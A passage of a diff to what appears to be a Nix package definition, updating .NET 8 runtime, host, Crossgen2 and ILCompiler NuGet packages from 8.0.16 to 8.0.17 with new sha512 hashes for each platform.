-      hash = "sha512-Pz3s0acdPIqpr6H45samMDpqa25Mg/DXcrlRfVySBCznpNI613r3MnMjCiSzYaDhi4HbvTl0+dkFcUtccmQ6Bg==";
+      version = "8.0.17";
+      hash = "sha512-P3X61aknNd61nNPPeRvxZmKaX35fNrlmcZ6f2EqSmRFjSmVaZRY5AW1jHx+P3zyc+f5sKVvSDSe+cBwM6sIsKQ==";
     })
   ];
 
@@ -55,118 +55,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-jBdU93KORqByySIYxL9FmzjC36WNKQ0HcGT0EkvwTmHh0CxpGVoH5icQYtZK66liLsLbgR1B654GpISLsOvVJQ==";
+        version = "8.0.17";
+        hash = "sha512-8NI7LrwgScvsfnIvIutWgDBNZv52afHUqTkQhiOYXg7kRUQ9VQsrV3wR+hnHo/WGlSibGcNBHz9hXRXGL3PApQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-CAnPoJS//D5PAZlA+/4dHGBP7RMdoo0kmG2kUOw0muB+bqsXIQ/Wdw4ztrgPC++BZlkwL9CLWWNk+fW/8mAuKw==";
+        version = "8.0.17";
+        hash = "sha512-qNBOlNW0AVi2ZzOUgYpQIwr8ZFkY/64+59pYYwG2+SMtkwTJdOYTNX9N03gODk7tUsIzJpZ7aBLo6KKMXgRX/g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-QMSFoSYbn3TUTWVnr/1ViHjgOhbKaoYwUrSXxxrlPdOBoV1rL6kwF4loEF49+6y7Ty1Q/Vl7ZvePYi9GbQzooQ==";
+        version = "8.0.17";
+        hash = "sha512-t5PXM7/aThrr95wvivIB95usffttNzSxLKlCH/6breXbQ4pVVD/rRIvfQbsC+z5S3cqkyfr7bcbqdevY2i7zzg==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-7jFOBzAAjlw+RW85zQ4kuHw/BL+4RWxC9KNBfYUyOkvqjxhlTAS3oIO92myQsjEmm0VSrxck5HnTytcc8kxyiw==";
+        version = "8.0.17";
+        hash = "sha512-MIU7+TheXyNxkcnDwBhQMLc09/id6XFqvxpZZqMQ84UH18/56YAxsPmZdkKPCXTmQhcPO45//vrDYP0FfrRHLA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-kOC6DR5x2UtVDPDzwj3ULdvl27F0Q3rRZWId0d67tgqWCbp1dBf0RGounczSKP7J4c1CahnBVXTuzf/WznOYsw==";
+        version = "8.0.17";
+        hash = "sha512-2Pg0cRKKLlIs4ZJP3p97BYAXG6Ttnl/4xC0EMqvpiigljSSc/4loJpEceFjA9SEcBISRtm0yg5tB9CKUY7JGAg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "8.0.16";
-        hash = "sha512-MZYQ4BYONhcpg07DLwMTG6HlAo+Q8m6pDwho3+G/YUrajvoMHbg3Y2Yw9XvLoGa5Cw3dUXa0eWiqx3pOuLuFpQ==";
+        version = "8.0.17";
+        hash = "sha512-SrlXcJ/A68zSy3e+NOYPB+7BCjjKE6QjSxKEAkdaNBwBBPvMC94tnYUDxKhES/6Je9guGE4LF/A2nEe2RNeejA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "8.0.16";
-        hash = "sha512-jjkFD9g7N969HqTen91WEtcI7up91yKjR7C5S3BEzMpPDFJO2Y7Zuq3/8fz/h2emh+BQUYcSVBDHuOsfN01QDw==";
+        version = "8.0.17";
+        hash = "sha512-FAOcrRdUyHU5QBDf+4GSjyTPb0nw+NhdF4hkQjsKuzlmUdbY7jbsEY8xr8nfOw+dnKNcj+4N0VGlqKT5zKnZOA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-+1sNjZRW3W7rPdIyxBKO4tNU/DXwpQ6d1FmfEqnVJbE5bFEQ+5WALIXP/0TGMI9U3N1xwRaHoSXVvTvSdw4wbQ==";
+        version = "8.0.17";
+        hash = "sha512-YJib2fbiDQeWrEoAVAyVBa+ASWXJqjHyygr/9N9qHWAIuQn4F9PBkJs90ZBkEGxFhLGOsV0dLv3QSSfn9G9anw==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-ZdKdJXNFjLJYbsiGn4v/l9fFh2tysHXsNgkThb8PGjCparmv7RoNOq2ledsZBNAcWhHMU+B64tWFiix1rGNbkA==";
+        version = "8.0.17";
+        hash = "sha512-9AZNX0abD5AXz0PARFGU5N8jxBeuEAreZrMcsjuWqm+diyA51LCWJeGkG0HJ1XV88G9hSLn3gTCadhPKiYe8yA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-lzi29sKhg5QjgPf9NTexxX37iYqQUagpiPq0OT6fmVNfCrnzcAjYjA0klEAZlGE/0Brh3dhmsKUsXEZy8p4sEw==";
+        version = "8.0.17";
+        hash = "sha512-W/OdiSQkTscKsj2LZ6/Js80unCUQeQFPFUheOIayF0jeXZxBz2mgCv1W2bL2N6dQu/XzY+rcdAVaK84EctpyBw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-Hv957R9MMq2DFCVuf0AiX82IkAWnJ4sDr5anJwzoCQRgTsXqwg8u5jqjDE8Wo5YIK86muWeNgk5DV27j+xsrfA==";
+        version = "8.0.17";
+        hash = "sha512-Ld0Qg6YLHXSqbizrz4a0ycPfuty79ZK4zwAcguHZNS3GplRI9yJPbv/XXa7ENiSMOiFTWZjCpZ9mMTkJkLj7JQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-BP7m4CEg5ggvyBDlWVVbQBlU1T7Jahnf6+Emt/3w3aXbdNp4AD+1jcJaaIXV+/A1hru5H9hmSsiIEuJsCjbEGw==";
+        version = "8.0.17";
+        hash = "sha512-5sPZOZbgvw1k9mDnT0sQgYC9L90+Th2RlZquaEK4vYYb7NqwYddV6iipqF9zghrMzztK85Pym2bJZlKSn1fjsw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-aRrl44G7/Vjy4AdrPEHIDefm5ew0VZXNq7GPaszXq846V38VnJhAU6zknNyBqlYzEAtNSyCaBXKtPrz5LsxqKg==";
+        version = "8.0.17";
+        hash = "sha512-w7EnpLx0V3N70/DdDyJCQV/rF4xtUTNKX3Ii4le1dTb7DxvqkplJ9Vf2y7l50i4dW8UEKtdfBED1BUGJiDx0Fg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-uk2pxu2NzxhLIdy85gikp6OCBUMYeTPCYt9BDQefc0G6eqaEhPDloc+WocqWLYs+vX6IM3qEhL41aYaY8KnZQA==";
+        version = "8.0.17";
+        hash = "sha512-hR1mk1E3E8bXdt0q1yFkB7HlT5vJ+BTbrNswKt/BivmT3/qgjTAyJI/24FNkmPKg6e+k2+stvV9vMxFjNWcWbg==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "8.0.16";
-        hash = "sha512-m6WHjEfXIHp+h+q4KSWknLGgM+zfyDF3P2GSftA8BA2/u/HD93CK0FxatQR6m8YB6Bd9vpx1kUNVqBqmAmuObA==";
+        version = "8.0.17";
+        hash = "sha512-F7MdXMz1cekBW9GMQ+U2CuFoMpBcAgkecJgZt96YfJEyCXVJotmGTMHB2pYoGBz0TU3307tg5JIfUd2d2Jj34Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-HCWrW2RPsSmsoVvHW1oh9vogOeqNLqmseahNP6HJbuZVnU3pw20nvHBm67547Upx3C2um0Y2Eix4UOwUzmAckw==";
+        version = "8.0.17";
+        hash = "sha512-wgx1oeWwzdttunh9nnm4HXv6REofxaCTzmlBGgffonufjSK4vkzr/dLsq5bkV7Sj+/5sOc6qLesIwx7nUChllg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "8.0.16";
-        hash = "sha512-bt6PWTJmhE7GdZBbF+Dtue0cGlvZ7ihUSLivLxpoHH3ANwITJqnyPWllxrfflrDfLCaDBE6WspQ4jeuepiqShg==";
+        version = "8.0.17";
+        hash = "sha512-ccX5RLNKPjmuagvmwkiONFgZuJa7qWFGCPjDm9WSK4efJ6CYFcNJmfTLHQMZ+fgyGzTnD2A5zMP/0Ot1o7xQEQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "8.0.16";
-        hash = "sha512-erkrCvfM0GCpctVlMtRk2nwDkUhFWjcTg3stKRDK9ALvtgNVICghe83UciBKlCvhmq9BtwrEECrqst9nimTeZw==";
+        version = "8.0.17";
+        hash = "sha512-gqi233hXdnvcE7McL/G+TR/BN+MYrmau1vL1E2uXmtdE+GB/pPWQXzYnxAeRM6jbC3ku0YKsAk+5lnRaZ5dsXA==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "8.0.16";
-        hash = "sha512-OPX3Dr6avujuCFr++QsKO0M6wmldtpNVoOLw/vuAfx4os8iMjD3/0e2YhLNPakFHXm3F7tAs9ArSFcrLISClQg==";
+        version = "8.0.17";
+        hash = "sha512-VsSVyCQbOvBD5tFuWknajmz57qGHqwP7Pvts+o6SJ5UEUSTPPlzREqSfb1oIntmkFgfFGOZdc/MeL2hIQdADRg==";
       })
     ];
   };
@@ -175,566 +175,566 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-zQtpJtQsIwiRioQqNHA+gyfYORoYk96PJMd20S3dJRTms9zJarx44X9gtZCHxXeR1D3/XfKKAwASfTV87EsM6w==";
+        version = "8.0.17";
+        hash = "sha512-u9hkQnH4virFn25AXmV9TLhpuRXfXiBmx/q+uSWaBz2CZmT/EY6e0kRL5gg57gtlfkItKg5rgXnClk2gWvmIQg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-fXnAL3PgEji1ztgKsuqXfuV56n2FZEzVgHX9R2HSsV1yEfAypwHDNYzB7bW+dcWsmzijD4f60UJJOmlYuY8sNQ==";
+        version = "8.0.17";
+        hash = "sha512-0O+bU5EYdrFo3W0z7kHqfzV8r+hr/mboeekd/ObmPERfXYhn64W3qI0g3YfO+KHWiCD3rTju7gM0odZXXFu6xg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-DV5JG9tZMaGgcT3sHWriN0w3drMJ6kEmYFKHyt70gt0d1aBxhZrWsdjAq2oVMSY4qlWyIszrQff4MObBWRluyw==";
+        version = "8.0.17";
+        hash = "sha512-bJUphLGlvIBzrN/VwTEJnrI0ul7mm1GiG5HzthokhjE53M2hdPw1jFEpp9A2wFOHAuj7rTJFfkJwyrmVoL2TKw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-ZOM5DcPvB0lfJwbt3kNcs6fS9u/58UuqV9FjodMc2vdDVhwicmolnvEnsuV/Y+3Yh9qLTGh3H1XY9IeIuvelcA==";
+        version = "8.0.17";
+        hash = "sha512-UOJ/eDhYZLsxGAWndocXEvpsKhxK+qkpTz6rBhsfLzJ0JMH3sYqSO4JDJV9rECYrkrcMbI4DjMJFQL9iNmyQTg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-3CQk9N/l9/3nV6tgpiedyqy+oNFL7T7WNPWF4whUGm7yLkJsoFtw6Pc5LwyT3OYyiXdEnPbAkDBQuNpJ+zaBkA==";
+        version = "8.0.17";
+        hash = "sha512-SHuKMrh4ogiLsi6KGG5ziwKdu7ipPWKF+pjNi+lpXOhaSquyxiOQUSaHn+Cw7gIpunuJbnpHmWjSh3KSYgRxSA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-I7DsyLTf0ZGXu9L3D6iSp2dw+PkuDBa+vqvfl0EdSRjgE16nraXjVGh/SK2ASaJi351xbboEpRqewZcWTCKxWw==";
+        version = "8.0.17";
+        hash = "sha512-n8gVagaXe5iFgulX7xVJBCV7YHYuaxI8+ExUb2mRqFJ6Ova8Z99vlqANna8PiGbkVzy6FqoS97gguMfa7eXnkg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-7h6k9pSSvDXC1TtcmKykPg0Oz3k0MNfahqQpBQAEtxZ4xVCuGk0rkzheWqvbLSehVIk/9PFtu4ZeO0dH4rEgBw==";
+        version = "8.0.17";
+        hash = "sha512-Xij6YAKzsmctbLeLJES2CKFnACvnCycv8EMOPPu7DcNnYHg/OOsUe3ObfXeKU5yhCW85wSM2NFwPiv8eO9Xe/Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm";
-        version = "8.0.16";
-        hash = "sha512-YBhocmkKTz5ABulIf3WW2NjH85W4O1CVysmY1LgWCMlTAX1uw0MRaJMtXUR7COZLHbHXNAPD7FNwuuYMgmIhUw==";
+        version = "8.0.17";
+        hash = "sha512-7AEQKppA6Meq5duC4IrlJgoyfwJLNpsBtbFfaoKhUvvPfyPjpI6rT1GtXVafMGeclVEMjW56PPv6W9kSHTD3GQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-6ju7d3rPYcKBvwZKr/z2RQ3ctBczul4JO55fttyOA/oifm1LUAY3TJtgagAF9pf4j5HuCoXTzvV00ZZEqtXLPg==";
+        version = "8.0.17";
+        hash = "sha512-HJ/MHBFPWz0jeIW/8uoqHi0zmw/pY8SafYfG1l7I1vQhO+scdPp+W2dWFyPT7atiOubc1JC+ozrA3E4bLguZmg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-15ih5bce3YmsSs9MFp/NH4UY3/UMMyRs+4TKWolHguVkNbPcYdWg8YL0Fhr4c7A7wAnDHhCCgSqmcOFYI4N1/g==";
+        version = "8.0.17";
+        hash = "sha512-zcgek5WOy0/XY/kRbE8DQpRM5zdDWlO6JV1bfST6hKlawEeMX0h+Amm1VdYA4SxHehgPuDvMM9NQo0MLUOiMMw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-MGj69hsPIe4e5Z6HXS+T2KplPzuZqETZLSP1oftted94gXOO1KOHJoDd2VbBVBpooMfqaeXUdw1NtgdS4NDLJw==";
+        version = "8.0.17";
+        hash = "sha512-oFYo/d2Drv7914y3mzKdJ/18Gshple5H0FRsXUvCLWThrlYCFyjyhmEyToOMXLFHP1HWQ19xAzZPs9pN/AtePQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-XwkekqnJyq3V/rXSu1WZlxzihsjvNV4ZbTQnb46583LeUJbG1o3ra8EofvxA/jA+ryXMpJxaQmVRNODJy1kIsw==";
+        version = "8.0.17";
+        hash = "sha512-/E7gmctuYf5c45e5VREjE+BvVrVDX/yHoRTpCpeb89TE/a4q5BSxRNutlNlR89JKGRNEN5hKOGSpixNN30NJPg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-wZCw0LIMH/WIDqiIU8zHyOg+EWExwu3S4T1JMTd6xra7HXGWlHQKj14A6P0d946lOVqjLxfW6IZXdgmALTan8A==";
+        version = "8.0.17";
+        hash = "sha512-DeNAP4VlvWX4hCek+RuQgt0C+QYBTpY8LBbIer9S1QXH4gM28BGtOzBUW5xeZ2nUik5QpP3hKPQk9UHnJQ8ABw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-9u78cVhiXQWJQsE2xxGcx2hbvaHImV1RcwtxIt9jjhh20SFJ0SoK5idgSbSh5q/63WfMoWKHPOkT5Er/whQ/3g==";
+        version = "8.0.17";
+        hash = "sha512-Aas+h9qheCOnTGOclCdfq3FeqTQN9+qhw9v5Wc3UhMt5hxkljzRhMKWPTNokM+erTb62C0RfFmNnEcUmm1M9fw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-4PjcN/ILs694XXBFjzrxqBsqzqAAU3UwwPkn/DmZYgG+oCvNhToiFYMOmHRSR08s+bHevGbDkpC7tHAS+S+UCQ==";
+        version = "8.0.17";
+        hash = "sha512-Gg4T5ZJNQO1Ov8X3qB0gT5Nd57bD1uDgJFChmpdb/qRj5c6mHN42Nz1POnvz/ZxyIBZqTXSAK/Sh7hYwhnO6Cw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64";
-        version = "8.0.16";
-        hash = "sha512-qHM2tlnjKfDdZ6HWLQ3Ffo2lIgW68VY4cAy49Wjhj7k2dGf8Aj16bWpDxo/WEd9PrsXeKaggdFTHwsv82lpDZw==";
+        version = "8.0.17";
+        hash = "sha512-u4SWuPRUXOxPTwHv6V2ePpZFw+D5/mE+zlq+vgk9B0odHvArhLFBsxSdq2OVzjx7T6OXnm664ySu1mWuZiRtLQ==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-2/VRY3SLruFnV2eziW5dl5KgIzB6mIqXfPD8A0yLQ4+0iYqnU5jjCrhSlvcy2xtH+tqkq4DAjSoJ83UjZoxg4A==";
+        version = "8.0.17";
+        hash = "sha512-ksN26mFXeA3pkdTQIuhEbODXXhTgA24UoJLaj02Jr3OezARLCRs/kg4FIBpazJ2I0xI5oQPe0b8BiGQlW6Vt6A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-Cf3ePr98FaAHMX7mTGTEHMHHPvLlar5MktJIHJFda37u7RX4UYDABk1J60EdOUdXmhVQQ5gxZyBlD7Zj2ZjQaQ==";
+        version = "8.0.17";
+        hash = "sha512-SXqdnf+0qa3qjodEeBKQyjK1EOh50Fzymiz6PtOfWkcAESLXlE+UtImtxuE9tvjUwjBc2Z1zeiCyaGOhpVzh3A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-13QUsacD+oc6WO516SyH1F2d+QgfFMGzdzIEMMZEDNKCYSZuYDL2R6Qs+9kTfiFHZgt7P/WAAA3UV/QxlxlQQQ==";
+        version = "8.0.17";
+        hash = "sha512-7bIfsRP0cumDeTb+iOYm7+gnWLDx4nJcpM3OrkAjZS14CmQfWzXckmspd12sOHBir3gJaJiBLn5IOhuneoN2lg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-6/l2nBV8h4meBgQPsthQw69pZJNSmbtmLGKaHPfzIlPHD6A2zI3rVjvmgU8Ahn6rL6/TnZTpC1KdaWzRCsdGZw==";
+        version = "8.0.17";
+        hash = "sha512-ISu7M97fzDxM+s5dlutK/xuI0xj6yOAFgTZ0F6EZSMmwoNRN/SOXFtwnMQFoDCyNsTFP1RRIyHB2GHBnWzkeeg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-lFK5CU+pkCWqr/mmRec63X+tdF01eZmaOcdc6K9lTV08hS0rPl2F1UK1RmOn1eZSMD94w2M86LZKZNLwI5E5FA==";
+        version = "8.0.17";
+        hash = "sha512-FPBQGj1ec4f56WOS2vaKfQcu3ddB4N6aiW9ptDGnLslTs1SqLs5ROthMmGSptfyXVMaksbCQ36Dt4FlfKaQ0aw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-UiaOuNRso4nVM1DzBL3i98WR9gnLg+DnQaK9ZXVu+jXsQ/19Fi92A3Lar5H2WIbtaQcngbYCG2HXRkVYdtHsUA==";
+        version = "8.0.17";
+        hash = "sha512-JoUr84iXSEzSt9qob5wFYBdvG1d0OalPBqMHKUM/W0MoAmvrAB7TynbY62B0xB/pH4u2th41AD0teAqJrFWLCg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-TqzAj3Vdql+FVkkAvrCVADoCfjBkryuFuYNPI6VnriQgMBHPbeD+In9hqrbMdmjTGtdXMbqVYSZttlJwvwpVaw==";
+        version = "8.0.17";
+        hash = "sha512-VlGSzLStxk86aalHNQ7lMcr8KaZ2OyOqklv1rXT92cwPpkY1+F/yrCOa5w4OIKL9CmPPfOgCvhTYq0sDPeKiSw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64";
-        version = "8.0.16";
-        hash = "sha512-xUyQ40LnE8H82Vi8wU9zKjiW+u/nsOnyKYUnPnEWhDvpF4xsJOC2bG7d8zXYKhFGGbBw/nCw/b/alhGzIfy2Iw==";
+        version = "8.0.17";
+        hash = "sha512-QprkNU0qUh1rafUqBtf74gHyBv333CUbWqAlet4lfMGO5fUkriLhvckuRYGwAdB9UuN/p1gNqHeMBddqwrx62Q==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "8.0.16";
-        hash = "sha512-peJrVIokSCtP06QIUP5YXSPDysocDOaMFwnFWDhNqD2qZFluJVxTxS16WHBNRhZphQ05CflNH0gq1HMpSeV5Jw==";
+        version = "8.0.17";
+        hash = "sha512-4gpidP+3KgWOg8V7X3QZb1bHRY6DuZq7k9JgUETydSL7s9oVKEF8OU6Uuajmxn5q2HjTII7UO+/Ost//wXxJgg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "8.0.16";
-        hash = "sha512-HTIcDrg9ZYCTRZv4nSftTxe7UhFYomff2fMVqRsX/4QBgeuF72KIbvAihv4wPBDNh6RSAC+qPVtZXZCtJO0AEA==";
+        version = "8.0.17";
+        hash = "sha512-fkY3BYk1K5zhi9MDTU/+oAz1o7+BzMaghJf7wDAnrIa0Uv8rHH6QFlUktqL2XTQaQyFi9AHKRwk6+qMVNMygjw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "8.0.16";
-        hash = "sha512-9Wj8HvYDiJ6YEqFtyTnxeKKHtCSI1PorGAsuuA//jCqX2WqEEt9+vVcCZLs3ge0S/3vEwELeu7xPXabAwiIsyA==";
+        version = "8.0.17";
+        hash = "sha512-eIlHY8UjZ0/h9fB23z60HXc0ZZgHsysSTivqkO7TEajctBS6INfqvCqQ5xJsM/3al61rZhZdJdIuIg0mQ7ZuYg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-RfJHtnXtwALzUNOvG8FVqvfEEhAQ+KzgzTK1p+hf3qA+X79iA9Rwq9dj6RHE8Fjt3FMXb+8inialcu6/+7/Lvw==";
+        version = "8.0.17";
+        hash = "sha512-UuP+BTHKYuNk9efX3dLcnqH+tK4uCObd4a3JH4was5IP9lrPlTst4shN+CrVASQZ3+1Mv+ofQCQzYF42sRN6yg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-V0vfD3Z+O/2atM3bJivfm/BKo5QUSaqroFHuYi1jVilICslvVoDfKood5wgUX91T/TKkVzGG5kZknxgaylw1AQ==";
+        version = "8.0.17";
+        hash = "sha512-3zek/zAOEojwKUANBjeWlnsPyWbbavnJ3o4VHMdmKR2dRk5TPU1oy8DC7vVk+rd1J0V6hrokxagxYL1+mh7sMg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-GpOecd88g22c3eMXwE6N4fa+dODPrMyC3xkbMOivdqH1Gt6Qmj/VF3OwnwhFMaaWXILCI7wkU558D5mj2IcbLA==";
+        version = "8.0.17";
+        hash = "sha512-OT2bIhD7vAgcGQy3T9wAuhCch7euvV7LTM9u06XVt8PfBe7ws2//NWklbN205WxR/+zKw9LA+WV0+ZluaWPwBg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-+wj+u4y2B7RI6FbkJJN4uKtkJploawLSRUc85tHfKSRd/VWUVrg+NQ2Ii4YADE2aaP9x1yVJRei8tChJm9XHaA==";
+        version = "8.0.17";
+        hash = "sha512-XIJ5AewwwMSntIdaU9wjGq5nnC7pt4Je2rOT3caGAZVUbMI+TLdzjGC4ySIG4EzHNdb0ioazDlpm59XYxFjtyQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.16";
-        hash = "sha512-N0D3EjGiPUbiA6TscqS8k2F7DqZqtjYOfFQ+PPfDWAiGP0/UvuX2HtOYxEALNUGzn90KtMXJUBfI/sKjxCQp1g==";
+        version = "8.0.17";
+        hash = "sha512-Hi7EwkTaHTX+ORY78yBJfQIa0Li6QTM+bCgYwiJS5piw4mNbtsqg8JnzMTBTyL8RcC2Az7skktgUqrnQYPbE3A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "8.0.16";
-        hash = "sha512-x9FtAd5kb6DbrUSLYtJ9cKog1Z/709IzwCPy7eG1RawnUP2v0Q0tdJOXdvoaTyVgsbW/NEgvJVd3ngP6SauIIQ==";
+        version = "8.0.17";
+        hash = "sha512-A4YO9NwkU6D/STwctlJU1W5uoGbSX05dWd2hQfriwS+QvSJAVHJfiuCd/obr+K6caCBz7QaB4atsbObXye/upA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.16";
-        hash = "sha512-GiTTne4boLVAyJ0CJDbpBWZw9oA6+Rg3e2h38LwfzF7kS1jPZbc10igA9ZsnUCOYAFxzWzNi70Bb5icTRRBSjA==";
+        version = "8.0.17";
+        hash = "sha512-aziQHkE0YNyxANTFVFO1+j+NiAuqIrQLWua767eM+XCgwkdYd+SuuT3dDk83QJnFqHrLsoztdnFkmG0RjiJmKQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-nF4234V77TrV7JSbSx34EuMl4qnyfODinwdSpZ6uX0MKUEwk42G8MT1/gLZBp8cvGv0I6Yg78+E/39Zd82RQBw==";
+        version = "8.0.17";
+        hash = "sha512-HMJ43Pe4Bsk1RrKocroaQztnSZacp2KR9Ens5hf/2A9M67ag8pE9AC27Jnsm5123wYnK97MuLa1EhSzqjUJ3tg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-VCfPdIVCm8hIp8XaaPw4vg7eRuS+UQhST5xuPHbw+v7wInifU56jkapE56+c3TB1J0QoyUUL527sp15QqugXuQ==";
+        version = "8.0.17";
+        hash = "sha512-76AdyyHdR+8w/Tf+eYbV0QAxceqvyAc05W0tWv/L8AhxH8DEdsv1RyXx1jTySd+CuGyTbb0Bmwd7NUdK7XCWJA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
